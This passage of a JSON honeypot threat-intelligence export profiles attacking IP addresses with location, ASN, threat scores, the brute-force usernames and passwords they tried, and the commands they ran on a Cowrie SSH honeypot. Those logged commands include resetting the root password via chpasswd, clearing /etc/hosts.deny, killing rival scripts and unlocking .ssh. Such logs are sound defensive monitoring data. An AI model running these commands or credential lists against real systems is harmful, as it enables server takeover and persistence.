        "odoo",
        "oracle",
        "proxyuser",
        "bence",
        "habib",
        "student",
        "vpn",
        "work"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345",
        "1qazxsw23edc",
        "7777777",
        "P@ssw0rd",
        "Passw0rd@123",
        "Zk123456",
        "adminadmin",
        "bence",
        "habib"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123\\nM57af8m4bt6r\\nM57af8m4bt6r\\n\"|passwd",
        "echo \"P@ssw0rd\\neFwic4Xo6U8Q\\neFwic4Xo6U8Q\\n\"|passwd",
        "echo \"root:RW8kmH577gf1\"|chpasswd|bash",
        "echo \"root:cp6EzD8Xhbnj\"|chpasswd|bash",
        "echo -e \"123\\nM57af8m4bt6r\\nM57af8m4bt6r\"|passwd|bash",
        "echo -e \"P@ssw0rd\\neFwic4Xo6U8Q\\neFwic4Xo6U8Q\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 3356,
      "as_org": "Level 3 Parent, LLC",
      "threat_score": 27.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 388,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T00:17:21.243000+00:00",
        "last_seen_30d": "2026-05-22T01:09:58.426000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 339,
        "Suricata": 49
      }
    },
    "189.90.33.23": {
      "attack_count": 259,
      "first_seen": "2026-05-20T03:59:41.180Z",
      "last_seen": "2026-05-20T04:30:58.895Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1qwaszx",
        "2054",
        "999999",
        "Abcd,1234",
        "aa1234",
        "anubis",
        "areias",
        "beach",
        "chelsea",
        "claude",
        "mohammed123",
        "new123",
        "oracle1",
        "oracle2022",
        "rainbow",
        "sebastiano",
        "showme",
        "test2!@"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:BQifYiB2OhnO\"|chpasswd|bash",
        "echo \"root:kaKuxg1ReQjM\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Imperatriz",
      "asn": 28191,
      "as_org": "Jupiter Telecomunicacoes e Informatica Ltda",
      "threat_score": 24.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 319,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T03:59:41.180000+00:00",
        "last_seen_30d": "2026-05-20T04:32:03.088000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 259,
        "Suricata": 60
      }
    },
    "45.78.194.186": {
      "attack_count": 224,
      "first_seen": "2026-05-11T16:06:44.068Z",
      "last_seen": "2026-05-24T14:59:29.267Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "root",
        "postgres",
        "345gs5662d34",
        "bkpuser",
        "devops",
        "ftpadmin",
        "ftpuser",
        "git",
        "git1",
        "guest1",
        "mysql",
        "nagios",
        "php-server",
        "rustserver",
        "test",
        "user",
        "user1",
        "user3"
      ],
      "passwords_attempted": [
        "!@#qweasd",
        "$changeme$",
        "%TGBnhy6",
        "123",
        "123.com",
        "1234",
        "1qaz2wsx",
        "1qaz3edc",
        "1qsx2waz",
        "20242024",
        "3245gs5662d34",
        "345gs5662d34",
        "Abcd@123456",
        "Admin",
        "PASSWORD",
        "abc@123",
        "admin123123",
        "admin1234!@#$",
        "admin666888",
        "bkpuser"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"20242024\\nMzw3uPEQYzHi\\nMzw3uPEQYzHi\\n\"|passwd",
        "echo -e \"20242024\\nMzw3uPEQYzHi\\nMzw3uPEQYzHi\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 37.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 302,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T16:06:44.068000+00:00",
        "last_seen_30d": "2026-05-24T15:00:35.865000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 224,
        "Suricata": 78
      }
    },
    "62.109.22.201": {
      "attack_count": 191,
      "first_seen": "2026-05-23T08:21:53.616Z",
      "last_seen": "2026-05-23T09:09:26.586Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "amp",
        "andy",
        "aroot",
        "ts2",
        "ubuntu",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "111",
        "147258",
        "Tk123456",
        "Welcome@1234",
        "admin@12345",
        "amp",
        "andy",
        "aroot",
        "password1",
        "root12#$"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:FNCJsw51Qrgn\"|chpasswd|bash",
        "echo \"root:c1gcJ8XYAlGg\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 29182,
      "as_org": "JSC IOT",
      "threat_score": 26.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 227,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:21:53.616000+00:00",
        "last_seen_30d": "2026-05-23T09:10:30.562000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 191,
        "Suricata": 36
      }
    },
    "104.194.8.142": {
      "attack_count": 168,
      "first_seen": "2026-05-08T10:43:38.002Z",
      "last_seen": "2026-05-31T16:54:14.183Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 23470,
      "as_org": "ReliableSite.Net LLC",
      "threat_score": 54.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.9,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 195,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T10:43:38.002000+00:00",
        "last_seen_30d": "2026-05-31T16:55:19.340000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 112,
        "Suricata": 83
      }
    },
    "194.163.150.152": {
      "attack_count": 160,
      "first_seen": "2026-05-10T15:43:58.763Z",
      "last_seen": "2026-05-10T18:10:46.606Z",
      "sessions": 80,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 300,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T15:43:58.763000+00:00",
        "last_seen_30d": "2026-05-10T18:11:55.762000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 160,
        "Suricata": 140
      }
    },
    "45.205.27.52": {
      "attack_count": 149,
      "first_seen": "2026-05-29T09:32:35.857Z",
      "last_seen": "2026-05-29T10:01:21.402Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "mohsen",
        "345gs5662d34",
        "admin",
        "ftpd",
        "git",
        "himanshu",
        "max",
        "sysuser",
        "test1",
        "user"
      ],
      "passwords_attempted": [
        "123",
        "!QAZ@WSX1qaz2wsx",
        "123!@#qweQWE",
        "1997",
        "3245gs5662d34",
        "345gs5662d34",
        "Abcd1234$",
        "ankit123",
        "asdf",
        "fai",
        "fjbdfdjkdsfs541544",
        "google2",
        "himanshu",
        "max",
        "mohsen123",
        "root!@#$",
        "sysuser"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"mohsen123\\nut5oCZf1x7ER\\nut5oCZf1x7ER\\n\"|passwd",
        "echo -e \"mohsen123\\nut5oCZf1x7ER\\nut5oCZf1x7ER\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 8796,
      "as_org": "FASTNET DATA INC",
      "threat_score": 33.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 190,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T09:32:35.857000+00:00",
        "last_seen_30d": "2026-05-29T10:02:23.344000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 149,
        "Suricata": 41
      }
    },
    "161.118.139.216": {
      "attack_count": 133,
      "first_seen": "2026-05-31T05:49:24.108Z",
      "last_seen": "2026-05-31T06:28:48.009Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "nagios",
        "345gs5662d34",
        "chrome",
        "eder",
        "samir",
        "tms"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Hh@123456",
        "Lx123456@",
        "P@ssw0rd!!",
        "Password2026",
        "Sa@123456",
        "eder123",
        "nagios",
        "qaz123!@#",
        "s0p0rt3",
        "samir123",
        "tms2025"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"nagios\\nOlSHBiUpxWMN\\nOlSHBiUpxWMN\\n\"|passwd",
        "echo -e \"nagios\\nOlSHBiUpxWMN\\nOlSHBiUpxWMN\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seoul",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 35.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 170,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T05:49:24.108000+00:00",
        "last_seen_30d": "2026-05-31T06:29:50.402000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 133,
        "Suricata": 37
      }
    },
    "43.128.120.247": {
      "attack_count": 116,
      "first_seen": "2026-05-29T15:38:11.252Z",
      "last_seen": "2026-05-29T16:04:05.092Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "monaco",
        "ubuntu",
        "ftpuser1",
        "jeremy",
        "marcus",
        "mario",
        "raju"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123456aA!!",
        "123qweASD",
        "A1234567",
        "Passw0rd!",
        "QWEasdzxc123",
        "aaaidc.com",
        "asd@123",
        "daniel123",
        "fjbdfdjkdsfs541544",
        "jeremy",
        "marcus",
        "mario",
        "monaco",
        "qwer@12345",
        "raju"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 32.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 161,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T15:38:11.252000+00:00",
        "last_seen_30d": "2026-05-29T16:05:13.113000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 116,
        "Suricata": 45
      }
    },
    "176.65.131.188": {
      "attack_count": 108,
      "first_seen": "2026-05-05T01:07:25.822Z",
      "last_seen": "2026-05-31T09:52:41.592Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 198584,
      "as_org": "PIO-Hosting GmbH",
      "threat_score": 55.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.0,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:07:25.822000+00:00",
        "last_seen_30d": "2026-05-31T09:53:46.790000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 54
      }
    },
    "111.126.82.8": {
      "attack_count": 84,
      "first_seen": "2026-05-22T09:57:45.158Z",
      "last_seen": "2026-05-22T14:39:29.919Z",
      "sessions": 42,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 23.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 133,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T09:57:45.158000+00:00",
        "last_seen_30d": "2026-05-22T14:40:36.187000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 84,
        "Suricata": 49
      }
    },
    "14.103.64.177": {
      "attack_count": 54,
      "first_seen": "2026-05-04T12:30:03.784Z",
      "last_seen": "2026-05-04T13:44:44.351Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "user"
      ],
      "passwords_attempted": [
        "P@$$word"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 95,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T12:30:03.784000+00:00",
        "last_seen_30d": "2026-05-04T13:55:45.810000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 54,
        "Suricata": 41
      }
    },
    "176.65.149.254": {
      "attack_count": 54,
      "first_seen": "2026-05-02T02:59:49.689Z",
      "last_seen": "2026-05-14T08:40:04.620Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 18.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.3,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 108,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T02:59:49.689000+00:00",
        "last_seen_30d": "2026-05-14T08:41:10.570000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 54,
        "Suricata": 54
      }
    },
    "175.107.208.185": {
      "attack_count": 50,
      "first_seen": "2026-05-20T04:20:46.983Z",
      "last_seen": "2026-05-20T04:26:32.458Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T04:20:46.983000+00:00",
        "last_seen_30d": "2026-05-20T04:27:39.362000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "188.44.20.24": {
      "attack_count": 36,
      "first_seen": "2026-05-11T14:24:30.666Z",
      "last_seen": "2026-05-31T13:35:45.378Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "North Macedonia",
      "country_code": "MK",
      "city": "Struga",
      "asn": 57374,
      "as_org": "Company for communications services A1 Makedonija DOOEL Skopje",
      "threat_score": 45.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.2,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T14:24:30.666000+00:00",
        "last_seen_30d": "2026-05-31T13:36:49.544000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "109.63.118.197": {
      "attack_count": 28,
      "first_seen": "2026-05-19T11:20:37.260Z",
      "last_seen": "2026-05-19T12:33:18.964Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bahrain",
      "country_code": "BH",
      "city": "Manama",
      "asn": 51375,
      "as_org": "Stc Bahrain B.s.c Closed",
      "threat_score": 17.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T11:20:37.260000+00:00",
        "last_seen_30d": "2026-05-19T12:34:20.029000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 14
      }
    },
    "42.200.78.78": {
      "attack_count": 23,
      "first_seen": "2026-05-12T08:45:26.088Z",
      "last_seen": "2026-05-12T08:45:31.456Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "sophia",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "test123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 4760,
      "as_org": "HKT Limited",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T08:45:26.088000+00:00",
        "last_seen_30d": "2026-05-12T08:46:39.352000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 7
      }
    },
    "192.42.116.111": {
      "attack_count": 19,
      "first_seen": "2026-05-11T10:37:50.698Z",
      "last_seen": "2026-05-22T03:12:36.534Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root",
        "sangoma"
      ],
      "passwords_attempted": [
        "root",
        "Itsemoemo2026@Washere2026"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.fingerprint",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 36.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.8,
        "persistence": 11.7,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 14,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-11T10:37:50.698000+00:00",
